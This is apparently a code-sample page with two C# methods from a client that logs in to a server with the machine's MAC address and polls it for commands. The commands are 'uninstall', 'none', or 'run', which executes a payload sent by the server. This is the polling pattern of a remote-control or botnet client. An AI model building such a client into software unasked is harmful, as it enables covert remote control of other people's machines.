Пример #1
0
        /// <summary>
        /// Attempts to get a new command from the server
        /// </summary>
        /// <param name="requestSender">RequestSender class instance</param>
        /// <param name="macAddress">MacAddress to get the command for</param>
        /// <returns></returns>
        private static ICommand GetCommand(RequestSender requestSender, string macAddress)
        {
            var formEncoder        = new FormEncoder();
            var getCommandData     = formEncoder.CreateLoginData(macAddress);
            var getCommandRequest  = new GetCommandRequest("/api/getcommand.php", getCommandData);
            var getCommandResponse = requestSender.SendRequest(getCommandRequest);
            var jsonResponseData   = JsonParser.Deserialize(getCommandResponse);

            switch (jsonResponseData["command"])
            {
            case "uninstall":
                return(new UninstallCommand());

            case "run":
                var payloadData = (Dictionary <string, object>)jsonResponseData["Payload"];
                var payload     = CreatePayload(payloadData);
                var runCommand  = new RunCommand(payload);
                return(runCommand);

            case "none":
                return(new NoneCommand());
            }

            return(null);
        }
Пример #2
0
        /// <summary>
        /// Attempts to login the user to the webserver
        /// </summary>
        /// <param name="requestSender">Instance of requestSender class</param>
        /// <param name="macAddress">Computer's macaddress</param>
        /// <returns></returns>
        private static bool Login(RequestSender requestSender, string macAddress)
        {
            var formEncoder      = new FormEncoder();
            var loginData        = formEncoder.CreateLoginData(macAddress);
            var loginRequest     = new LoginRequest("/api/login.php", loginData);
            var loginResponse    = requestSender.SendRequest(loginRequest);
            var jsonResponseData = JsonParser.Deserialize(loginResponse);

            return(jsonResponseData["message"].ToString().ToLower() == "succes");
        }